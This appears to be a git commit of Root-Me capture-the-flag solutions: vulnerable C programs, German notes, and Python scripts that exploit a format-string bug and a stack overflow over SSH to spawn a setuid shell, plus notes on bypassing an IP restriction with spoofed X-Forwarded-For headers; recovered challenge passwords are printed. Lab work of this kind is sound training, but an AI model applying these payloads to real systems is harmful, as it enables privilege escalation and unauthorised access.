feat: app system challenges
Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
This commit is contained in:
@@ -0,0 +1,28 @@
|
|||||||
|
CHALLENGE=ch14
|
||||||
|
USER=app-systeme-$(CHALLENGE)
|
||||||
|
USER_CRACKED=$(USER)-cracked
|
||||||
|
|
||||||
|
CC=gcc
|
||||||
|
CFLAGS=-m32 -no-pie
|
||||||
|
LDFLAGS=-z noexecstack
|
||||||
|
|
||||||
|
SRC=$(CHALLENGE).c
|
||||||
|
OBJ=$(SRC:.c=.o)
|
||||||
|
BIN=$(CHALLENGE)
|
||||||
|
|
||||||
|
.DEFAULT_GOAL := challenge
|
||||||
|
.PHONY : clean all
|
||||||
|
|
||||||
|
$(BIN): $(OBJ)
|
||||||
|
@echo "Compiling..."
|
||||||
|
$(CC) -o $@ $(SRC) $(LDFLAGS) $(CFLAGS)
|
||||||
|
|
||||||
|
challenge: $(BIN)
|
||||||
|
@echo "Applying permissions..."
|
||||||
|
rm -f $(OBJ)
|
||||||
|
chown $(USER_CRACKED):$(USER) $(BIN) .passwd Makefile $(SRC)
|
||||||
|
chmod 400 .passwd
|
||||||
|
chmod 440 $(SRC) Makefile
|
||||||
|
chmod 550 $(BIN)
|
||||||
|
chmod u+s $(BIN)
|
||||||
|
|
||||||
BIN
app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14
Executable file
BIN
app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14
Executable file
Binary file not shown.
@@ -0,0 +1,37 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main( int argc, char ** argv )
|
||||||
|
|
||||||
|
{
|
||||||
|
|
||||||
|
int var;
|
||||||
|
int check = 0x04030201;
|
||||||
|
|
||||||
|
char fmt[128];
|
||||||
|
|
||||||
|
if (argc <2)
|
||||||
|
exit(0);
|
||||||
|
|
||||||
|
memset( fmt, 0, sizeof(fmt) );
|
||||||
|
|
||||||
|
printf( "check at 0x%x\n", &check );
|
||||||
|
printf( "argv[1] = [%s]\n", argv[1] );
|
||||||
|
|
||||||
|
snprintf( fmt, sizeof(fmt), argv[1] );
|
||||||
|
|
||||||
|
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||||
|
printf ("\nYou are on the right way !\n");
|
||||||
|
|
||||||
|
printf( "fmt=[%s]\n", fmt );
|
||||||
|
printf( "check=0x%x\n", check );
|
||||||
|
|
||||||
|
if (check==0xdeadbeef)
|
||||||
|
{
|
||||||
|
printf("Yeah dude ! You win !\n");
|
||||||
|
setreuid(geteuid(), geteuid());
|
||||||
|
system("/bin/bash");
|
||||||
|
}
|
||||||
|
}
|
||||||
250
app-system/elf-x86-format-string-bug-basic-2/notes.org
Normal file
250
app-system/elf-x86-format-string-bug-basic-2/notes.org
Normal file
@@ -0,0 +1,250 @@
|
|||||||
|
* ELF x86 - Format string bug basic 2
|
||||||
|
|
||||||
|
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
|
||||||
|
|
||||||
|
Aufgabe
|
||||||
|
Einstellungen der Umgebung
|
||||||
|
PIE Position Independent Executable pas_valide.svg?1566650180
|
||||||
|
RelRO Read Only relocations pas_valide.svg?1566650180
|
||||||
|
NX Non-Executable Stack valide.svg?1566650190
|
||||||
|
Heap exec Non-Executable Heap valide.svg?1566650190
|
||||||
|
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
|
||||||
|
SF Source Fortification pas_valide.svg?1566650180
|
||||||
|
SSP Stack-Smashing Protection valide.svg?1566650190
|
||||||
|
SRC Zugriff auf den Source code valide.svg?1566650190
|
||||||
|
Quellcode
|
||||||
|
#+begin_src C
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main( int argc, char ** argv )
|
||||||
|
{
|
||||||
|
int var;
|
||||||
|
int check = 0x04030201;
|
||||||
|
|
||||||
|
char fmt[128];
|
||||||
|
|
||||||
|
if (argc <2)
|
||||||
|
exit(0);
|
||||||
|
|
||||||
|
memset( fmt, 0, sizeof(fmt) );
|
||||||
|
|
||||||
|
printf( "check at 0x%x\n", &check );
|
||||||
|
printf( "argv[1] = [%s]\n", argv[1] );
|
||||||
|
|
||||||
|
snprintf( fmt, sizeof(fmt), argv[1] );
|
||||||
|
|
||||||
|
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||||
|
printf ("\nYou are on the right way !\n");
|
||||||
|
|
||||||
|
printf( "fmt=[%s]\n", fmt );
|
||||||
|
printf( "check=0x%x\n", check );
|
||||||
|
|
||||||
|
if (check==0xdeadbeef)
|
||||||
|
{
|
||||||
|
printf("Yeah dude ! You win !\n");
|
||||||
|
setreuid(geteuid(), geteuid());
|
||||||
|
system("/bin/bash");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
Zugangsdaten für die Übung
|
||||||
|
#+begin_quote
|
||||||
|
Host challenge02.root-me.org
|
||||||
|
Protokoll SSH
|
||||||
|
Port 2222
|
||||||
|
Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org
|
||||||
|
Benutzername app-systeme-ch14
|
||||||
|
Passwort app-systeme-ch14
|
||||||
|
#+end_quote
|
||||||
|
|
||||||
|
* Investigation Log
|
||||||
|
|
||||||
|
** Downloaded challenge files
|
||||||
|
|
||||||
|
Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=.
|
||||||
|
|
||||||
|
Makefile confirms build flags:
|
||||||
|
- =-m32 -no-pie=
|
||||||
|
- =-z noexecstack=
|
||||||
|
|
||||||
|
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
|
||||||
|
|
||||||
|
** Vulnerability
|
||||||
|
|
||||||
|
The bug is here:
|
||||||
|
|
||||||
|
#+begin_src c
|
||||||
|
snprintf(fmt, sizeof(fmt), argv[1]);
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory.
|
||||||
|
|
||||||
|
Target variable:
|
||||||
|
|
||||||
|
#+begin_src c
|
||||||
|
int check = 0x04030201;
|
||||||
|
...
|
||||||
|
if (check == 0xdeadbeef) {
|
||||||
|
system("/bin/bash");
|
||||||
|
}
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
** Stack argument offset discovery
|
||||||
|
|
||||||
|
Bruteforce payload: =AAAA.%<i>$x=.
|
||||||
|
|
||||||
|
Result: at offset =9= we get =41414141=.
|
||||||
|
|
||||||
|
So first 4 bytes of our payload are interpreted as argument 9.
|
||||||
|
|
||||||
|
** Write strategy
|
||||||
|
|
||||||
|
Need to write =0xdeadbeef= into =check=.
|
||||||
|
|
||||||
|
Used two half-word writes with =%hn=:
|
||||||
|
- lower half (addr): =0xbeef= (=48879=)
|
||||||
|
- upper half (addr+2): =0xdead= (=57005=)
|
||||||
|
|
||||||
|
Payload layout:
|
||||||
|
- 4 bytes: =p32(check_addr)=
|
||||||
|
- 4 bytes: =p32(check_addr+2)=
|
||||||
|
- format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
||||||
|
|
||||||
|
Why those paddings:
|
||||||
|
- first 8 bytes already count as printed characters
|
||||||
|
- 48871 + 8 = 48879 (0xbeef) -> first =%hn=
|
||||||
|
- 8126 more chars -> 57005 (0xdead) -> second =%hn=
|
||||||
|
|
||||||
|
** Address behavior and PTY note
|
||||||
|
|
||||||
|
=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
|
||||||
|
|
||||||
|
For reliable exploit:
|
||||||
|
- probe =check= address with same payload length and PTY mode
|
||||||
|
- immediately run exploit in PTY mode
|
||||||
|
|
||||||
|
Observed stable PTY probe address: =0xbffffb88=.
|
||||||
|
|
||||||
|
** Successful exploitation
|
||||||
|
|
||||||
|
Exploit output:
|
||||||
|
- =check=0xdeadbeef=
|
||||||
|
- =Yeah dude ! You win !=
|
||||||
|
- effective uid switched to =app-systeme-ch14-cracked=
|
||||||
|
|
||||||
|
Recovered password:
|
||||||
|
|
||||||
|
#+begin_quote
|
||||||
|
1l1k3p0Rn&P0pC0rn
|
||||||
|
#+end_quote
|
||||||
|
|
||||||
|
* Helper Scripts
|
||||||
|
|
||||||
|
- =scripts/find_offset.py=: brute-force the format-string stack offset.
|
||||||
|
- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=.
|
||||||
|
|
||||||
|
** Note: exploit implementation without struct.pack
|
||||||
|
|
||||||
|
The exploit script no longer uses =struct.pack("<I", ...)=.
|
||||||
|
|
||||||
|
Instead, it uses a manual little-endian encoder:
|
||||||
|
|
||||||
|
#+begin_src python
|
||||||
|
def p32_le(value: int) -> bytes:
|
||||||
|
value &= 0xFFFFFFFF
|
||||||
|
return bytes((
|
||||||
|
value & 0xFF,
|
||||||
|
(value >> 8) & 0xFF,
|
||||||
|
(value >> 16) & 0xFF,
|
||||||
|
(value >> 24) & 0xFF,
|
||||||
|
))
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
This produces the same 4-byte layout as =struct.pack("<I", value)= on x86.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
- =0xbffffb88= -> bytes =88 fb ff bf=
|
||||||
|
- =0xbffffb8a= -> bytes =8a fb ff bf=
|
||||||
|
|
||||||
|
So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=.
|
||||||
|
|
||||||
|
* Solution Explanation
|
||||||
|
|
||||||
|
1) Identify the bug
|
||||||
|
|
||||||
|
The program calls:
|
||||||
|
|
||||||
|
#+begin_src c
|
||||||
|
snprintf(fmt, sizeof(fmt), argv[1]);
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=).
|
||||||
|
|
||||||
|
2) Define the win condition
|
||||||
|
|
||||||
|
The shell is spawned only if:
|
||||||
|
|
||||||
|
#+begin_src c
|
||||||
|
if (check == 0xdeadbeef) {
|
||||||
|
setreuid(geteuid(), geteuid());
|
||||||
|
system("/bin/bash");
|
||||||
|
}
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=.
|
||||||
|
|
||||||
|
3) Find where our bytes land in variadic arguments
|
||||||
|
|
||||||
|
Using marker payloads like =AAAA.%<i>$x=, we detect when =41414141= appears.
|
||||||
|
|
||||||
|
Observed offset: =9=.
|
||||||
|
|
||||||
|
Meaning:
|
||||||
|
- bytes 0..3 of payload are read as argument 9
|
||||||
|
- bytes 4..7 of payload are read as argument 10
|
||||||
|
|
||||||
|
4) Choose a safe write primitive
|
||||||
|
|
||||||
|
Writing full 32-bit with one =%n= is possible but impractical due to huge padding.
|
||||||
|
|
||||||
|
Use two half-word writes with =%hn=:
|
||||||
|
- write lower 16 bits (=0xbeef=) to =check=
|
||||||
|
- write upper 16 bits (=0xdead=) to =check+2=
|
||||||
|
|
||||||
|
5) Build the payload
|
||||||
|
|
||||||
|
Payload bytes:
|
||||||
|
- first 4 bytes: little-endian address of =check=
|
||||||
|
- next 4 bytes: little-endian address of =check+2=
|
||||||
|
- then format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
||||||
|
|
||||||
|
Padding math:
|
||||||
|
- 8 raw address bytes are already counted as printed chars
|
||||||
|
- need first total count =48879= (=0xbeef=): print =48871= extra chars
|
||||||
|
- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars
|
||||||
|
|
||||||
|
6) Handle runtime detail (PTY stability)
|
||||||
|
|
||||||
|
The stack address printed for =check= is stable only for the same invocation style.
|
||||||
|
|
||||||
|
PTY vs non-PTY shifts addresses. Reliable method:
|
||||||
|
- probe address in PTY mode with same payload length
|
||||||
|
- exploit immediately in PTY mode with same layout
|
||||||
|
|
||||||
|
7) Confirm success
|
||||||
|
|
||||||
|
Successful run shows:
|
||||||
|
- =check=0xdeadbeef=
|
||||||
|
- =Yeah dude ! You win !=
|
||||||
|
- effective identity =app-systeme-ch14-cracked=
|
||||||
|
- readable flag/password file =.passwd=
|
||||||
|
|
||||||
|
Recovered password:
|
||||||
|
|
||||||
|
#+begin_quote
|
||||||
|
1l1k3p0Rn&P0pC0rn
|
||||||
|
#+end_quote
|
||||||
85
app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Executable file
85
app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Executable file
@@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import base64
|
||||||
|
import re
|
||||||
|
import shlex
|
||||||
|
|
||||||
|
import paramiko
|
||||||
|
|
||||||
|
|
||||||
|
HOST = "challenge02.root-me.org"
|
||||||
|
PORT = 2222
|
||||||
|
USER = "app-systeme-ch14"
|
||||||
|
PASSWORD = "app-systeme-ch14"
|
||||||
|
BIN = "/challenge/app-systeme/ch14/ch14"
|
||||||
|
|
||||||
|
|
||||||
|
FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
|
||||||
|
|
||||||
|
|
||||||
|
def p32_le(value: int) -> bytes:
|
||||||
|
value &= 0xFFFFFFFF
|
||||||
|
return bytes(
|
||||||
|
(
|
||||||
|
value & 0xFF,
|
||||||
|
(value >> 8) & 0xFF,
|
||||||
|
(value >> 16) & 0xFF,
|
||||||
|
(value >> 24) & 0xFF,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def make_remote_cmd(payload: bytes) -> str:
|
||||||
|
b64 = base64.b64encode(payload).decode()
|
||||||
|
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
||||||
|
return "python3 -c " + shlex.quote(py)
|
||||||
|
|
||||||
|
|
||||||
|
def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
||||||
|
cmd = make_remote_cmd(payload)
|
||||||
|
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
||||||
|
return stdout.read().decode("latin-1", "ignore")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
||||||
|
|
||||||
|
try:
|
||||||
|
total_len = 8 + len(FMT_TAIL)
|
||||||
|
probe = b"A" * total_len
|
||||||
|
|
||||||
|
probe_out = run_read_all(ssh, probe, pty=True)
|
||||||
|
m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
|
||||||
|
if not m:
|
||||||
|
raise RuntimeError("could not parse check address from probe output")
|
||||||
|
check_addr = int(m.group(1), 16)
|
||||||
|
print(f"[+] check address: 0x{check_addr:08x}")
|
||||||
|
|
||||||
|
payload = p32_le(check_addr)
|
||||||
|
payload += p32_le(check_addr + 2)
|
||||||
|
payload += FMT_TAIL
|
||||||
|
|
||||||
|
if len(payload) != total_len:
|
||||||
|
raise RuntimeError("payload length changed; probe and exploit would desync")
|
||||||
|
|
||||||
|
cmd = make_remote_cmd(payload)
|
||||||
|
stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
|
||||||
|
stdin.write("id\n")
|
||||||
|
stdin.write("cat .passwd\n")
|
||||||
|
stdin.write("exit\n")
|
||||||
|
stdin.flush()
|
||||||
|
|
||||||
|
out = stdout.read().decode("latin-1", "ignore")
|
||||||
|
print(out)
|
||||||
|
|
||||||
|
if "check=0xdeadbeef" in out:
|
||||||
|
print("[+] exploitation successful")
|
||||||
|
else:
|
||||||
|
print("[-] exploitation failed")
|
||||||
|
finally:
|
||||||
|
ssh.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
51
app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py
Executable file
51
app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py
Executable file
@@ -0,0 +1,51 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import base64
|
||||||
|
import re
|
||||||
|
import shlex
|
||||||
|
|
||||||
|
import paramiko
|
||||||
|
|
||||||
|
|
||||||
|
HOST = "challenge02.root-me.org"
|
||||||
|
PORT = 2222
|
||||||
|
USER = "app-systeme-ch14"
|
||||||
|
PASSWORD = "app-systeme-ch14"
|
||||||
|
BIN = "/challenge/app-systeme/ch14/ch14"
|
||||||
|
|
||||||
|
|
||||||
|
def run_payload(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
||||||
|
b64 = base64.b64encode(payload).decode()
|
||||||
|
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
||||||
|
cmd = "python3 -c " + shlex.quote(py)
|
||||||
|
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
||||||
|
return stdout.read().decode("latin-1", "ignore")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
||||||
|
|
||||||
|
try:
|
||||||
|
found = None
|
||||||
|
for i in range(1, 80):
|
||||||
|
payload = f"AAAA.%{i}$x".encode()
|
||||||
|
out = run_payload(ssh, payload)
|
||||||
|
m = re.search(r"fmt=\[(.*)\]", out)
|
||||||
|
if not m:
|
||||||
|
continue
|
||||||
|
fmt_out = m.group(1).lower()
|
||||||
|
if "41414141" in fmt_out:
|
||||||
|
found = i
|
||||||
|
print(f"[+] offset found: {i}")
|
||||||
|
print(f"[+] fmt output: {m.group(1)}")
|
||||||
|
break
|
||||||
|
|
||||||
|
if found is None:
|
||||||
|
print("[-] offset not found in tested range")
|
||||||
|
finally:
|
||||||
|
ssh.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import time
|
||||||
|
|
||||||
|
import paramiko
|
||||||
|
|
||||||
|
HOST = "challenge02.root-me.org"
|
||||||
|
PORT = 2222
|
||||||
|
USER = "app-systeme-ch13"
|
||||||
|
PASSWORD = "app-systeme-ch13"
|
||||||
|
|
||||||
|
|
||||||
|
def drain(channel: paramiko.Channel, loops: int = 20, delay: float = 0.2) -> str:
|
||||||
|
chunks = []
|
||||||
|
for _ in range(loops):
|
||||||
|
time.sleep(delay)
|
||||||
|
while channel.recv_ready():
|
||||||
|
chunks.append(channel.recv(65535).decode("utf-8", errors="replace"))
|
||||||
|
return "".join(chunks)
|
||||||
|
|
||||||
|
|
||||||
|
def run() -> None:
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(
|
||||||
|
hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
shell = client.invoke_shell()
|
||||||
|
banner = drain(shell, loops=10)
|
||||||
|
if banner:
|
||||||
|
print(banner, end="")
|
||||||
|
|
||||||
|
exploit = (
|
||||||
|
'(python3 -c "import sys; '
|
||||||
|
"sys.stdout.buffer.write(b'A'*40+b'\\xef\\xbe\\xad\\xde')\"; "
|
||||||
|
"cat) | ./ch13\n"
|
||||||
|
)
|
||||||
|
shell.send(exploit.encode())
|
||||||
|
print(drain(shell, loops=12), end="")
|
||||||
|
|
||||||
|
shell.send(b"id\n")
|
||||||
|
shell.send(b"cat .passwd\n")
|
||||||
|
shell.send(b"exit\n")
|
||||||
|
print(drain(shell, loops=20), end="")
|
||||||
|
finally:
|
||||||
|
client.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
run()
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import paramiko
|
||||||
|
|
||||||
|
HOST = "challenge02.root-me.org"
|
||||||
|
PORT = 2222
|
||||||
|
USER = "app-systeme-ch13"
|
||||||
|
PASSWORD = "app-systeme-ch13"
|
||||||
|
|
||||||
|
|
||||||
|
def run() -> None:
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(
|
||||||
|
hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
commands = [
|
||||||
|
"pwd",
|
||||||
|
"ls -la",
|
||||||
|
"file ch13",
|
||||||
|
"checksec --file=ch13 || true",
|
||||||
|
"./ch13 <<<'AAAA'",
|
||||||
|
]
|
||||||
|
for cmd in commands:
|
||||||
|
stdin, stdout, stderr = client.exec_command(cmd)
|
||||||
|
out = stdout.read().decode("utf-8", errors="replace")
|
||||||
|
err = stderr.read().decode("utf-8", errors="replace")
|
||||||
|
print(f"--- $ {cmd} ---")
|
||||||
|
if out:
|
||||||
|
print(out, end="" if out.endswith("\n") else "\n")
|
||||||
|
if err:
|
||||||
|
print("[stderr]")
|
||||||
|
print(err, end="" if err.endswith("\n") else "\n")
|
||||||
|
finally:
|
||||||
|
client.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
run()
|
||||||
97
app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org
Normal file
97
app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
* ELF x86 - Stack buffer overflow basic 1
|
||||||
|
Aufgabe
|
||||||
|
Einstellungen der Umgebung
|
||||||
|
PIE Position Independent Executable pas_valide.svg?1566650180
|
||||||
|
RelRO Read Only relocations pas_valide.svg?1566650180
|
||||||
|
NX Non-Executable Stack pas_valide.svg?1566650180
|
||||||
|
Heap exec Non-Executable Heap pas_valide.svg?1566650180
|
||||||
|
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
|
||||||
|
SF Source Fortification pas_valide.svg?1566650180
|
||||||
|
SRC Zugriff auf den Source code valide.svg?1566650190
|
||||||
|
Quellcode
|
||||||
|
#+begin_src C
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
|
||||||
|
int var;
|
||||||
|
int check = 0x04030201;
|
||||||
|
char buf[40];
|
||||||
|
|
||||||
|
fgets(buf,45,stdin);
|
||||||
|
|
||||||
|
printf("\n[buf]: %s\n", buf);
|
||||||
|
printf("[check] %p\n", check);
|
||||||
|
|
||||||
|
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||||
|
printf ("\nYou are on the right way!\n");
|
||||||
|
|
||||||
|
if (check == 0xdeadbeef)
|
||||||
|
{
|
||||||
|
printf("Hell yeah! You win!\nOpening your shell...\n");
|
||||||
|
setreuid(geteuid(), geteuid());
|
||||||
|
system("/bin/bash");
|
||||||
|
printf("Shell closed! Bye.\n");
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
#+begin_quote
|
||||||
|
Zugangsdaten für die Übung
|
||||||
|
Host challenge02.root-me.org
|
||||||
|
Protokoll SSH
|
||||||
|
Port 2222
|
||||||
|
Zugang per SSH ssh -p 2222 app-systeme-ch13@challenge02.root-me.org
|
||||||
|
Benutzername app-systeme-ch13
|
||||||
|
Passwort app-systeme-ch13
|
||||||
|
#+end_quote
|
||||||
|
|
||||||
|
#+begin_src sh
|
||||||
|
python3 -c "import sys; sys.stdout.buffer.write(b'A'*(40) + b'\xef\xbe\xad\xde')" | ./ch13
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
** Findings (live target)
|
||||||
|
|
||||||
|
- Remote path: =/challenge/app-systeme/ch13=
|
||||||
|
- Binary: =ch13: setuid ELF 32-bit, dynamically linked, not stripped=
|
||||||
|
- Effective mitigations from runtime check:
|
||||||
|
- Partial RELRO
|
||||||
|
- No stack canary
|
||||||
|
- NX enabled
|
||||||
|
- No PIE
|
||||||
|
- ASLR OFF (on target host)
|
||||||
|
- Vulnerability: =fgets(buf,45,stdin)= writes up to 44 bytes into =char buf[40]=, overflowing 4 bytes into adjacent =check=.
|
||||||
|
- Target value: overwrite =check= from =0x04030201= to =0xdeadbeef= (little-endian bytes =\xef\xbe\xad\xde=).
|
||||||
|
|
||||||
|
** Working exploitation flow
|
||||||
|
|
||||||
|
- Basic trigger (proves control of =check=):
|
||||||
|
|
||||||
|
#+begin_src sh
|
||||||
|
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xef\xbe\xad\xde')" | ./ch13
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
- To keep stdin open for the spawned SUID shell, use a pipeline with =cat=:
|
||||||
|
|
||||||
|
#+begin_src sh
|
||||||
|
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\xef\xbe\xad\xde')"; cat) | ./ch13
|
||||||
|
id
|
||||||
|
cat .passwd
|
||||||
|
exit
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
- Observed privilege in spawned shell:
|
||||||
|
- =uid=1213(app-systeme-ch13-cracked)=
|
||||||
|
- =gid=1113(app-systeme-ch13)=
|
||||||
|
- Retrieved validation password:
|
||||||
|
- =1w4ntm0r3pr0np1s=
|
||||||
|
|
||||||
|
** Helper scripts
|
||||||
|
|
||||||
|
- =helper_recon.py=: SSH recon script (pwd, ls, file, checksec, smoke run).
|
||||||
|
- =helper_exploit_password.py=: SSH interactive exploit script that keeps stdin open and reads =.passwd=.
|
||||||
4
web-server/backup-file/notes.org
Normal file
4
web-server/backup-file/notes.org
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
* Backup file
|
||||||
|
|
||||||
|
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Backup-file
|
||||||
|
http://challenge01.root-me.org/web-serveur/ch11/
|
||||||
@@ -1,6 +1,8 @@
|
|||||||
|
|
||||||
* HTML - Source code
|
* HTML - Source code
|
||||||
|
|
||||||
|
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTML
|
||||||
|
|
||||||
Suchen Sie nicht zu weit weg
|
Suchen Sie nicht zu weit weg
|
||||||
|
|
||||||
[[./index.html]]
|
[[./index.html]]
|
||||||
|
|||||||
27
web-server/http-ip-restriction-bypass/index.html
Normal file
27
web-server/http-ip-restriction-bypass/index.html
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Secured Intranet</title>
|
||||||
|
</head>
|
||||||
|
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=internal_header'></iframe>
|
||||||
|
<span>Your IP <strong>::ffff:94.135.236.24</strong> do not belong to the LAN.</span>
|
||||||
|
<h1>Intranet</h1>
|
||||||
|
<form method="post">
|
||||||
|
<p>
|
||||||
|
<label for="login">Login:</label>
|
||||||
|
<input type="text" name="login">
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<label for="pass">Password:</label>
|
||||||
|
<input type="text" name="mdp">
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<input type="submit" value="login">
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<small>You should authenticate because you're not on the LAN.</small>
|
||||||
|
</p>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
40
web-server/http-ip-restriction-bypass/notes.org
Normal file
40
web-server/http-ip-restriction-bypass/notes.org
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
* HTTP - IP restriction bypass
|
||||||
|
|
||||||
|
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTTP-IP-restriction-bypass
|
||||||
|
Description: Nur lokale Benutzer können auf die Seite zugreifen
|
||||||
|
|
||||||
|
Aufgabe
|
||||||
|
#+begin_quote
|
||||||
|
Liebe Kollegen,
|
||||||
|
|
||||||
|
Wir verwalten jetzt die Verbindungen zum Intranet über private IP-Adressen, so dass es nicht mehr notwendig ist, sich mit einem Benutzernamen/Passwort anzumelden, wenn Sie bereits mit dem internen Firmennetz verbunden sind.
|
||||||
|
|
||||||
|
Herzliche Grüße,
|
||||||
|
|
||||||
|
Der Netzverwalter
|
||||||
|
#+end_quote
|
||||||
|
|
||||||
|
-----
|
||||||
|
|
||||||
|
Challenge Website: http://challenge01.root-me.org/web-serveur/ch68/
|
||||||
|
|
||||||
|
Analyse
|
||||||
|
- Initial request:
|
||||||
|
- `curl -i "http://challenge01.root-me.org/web-serveur/ch68/"`
|
||||||
|
- Server responds with login page and message: `Your IP ::ffff:<public-ip> do not belong to the LAN.`
|
||||||
|
- Header tests (IP spoofing candidates):
|
||||||
|
- `X-Forwarded-For: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
|
||||||
|
- `Client-IP: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
|
||||||
|
- `X-Client-IP: 127.0.0.1` -> ignored by app.
|
||||||
|
- Working bypass:
|
||||||
|
- `X-Forwarded-For: 192.168.1.10` (also works with `10.0.0.42`)
|
||||||
|
- `Client-IP: 192.168.1.10` also works.
|
||||||
|
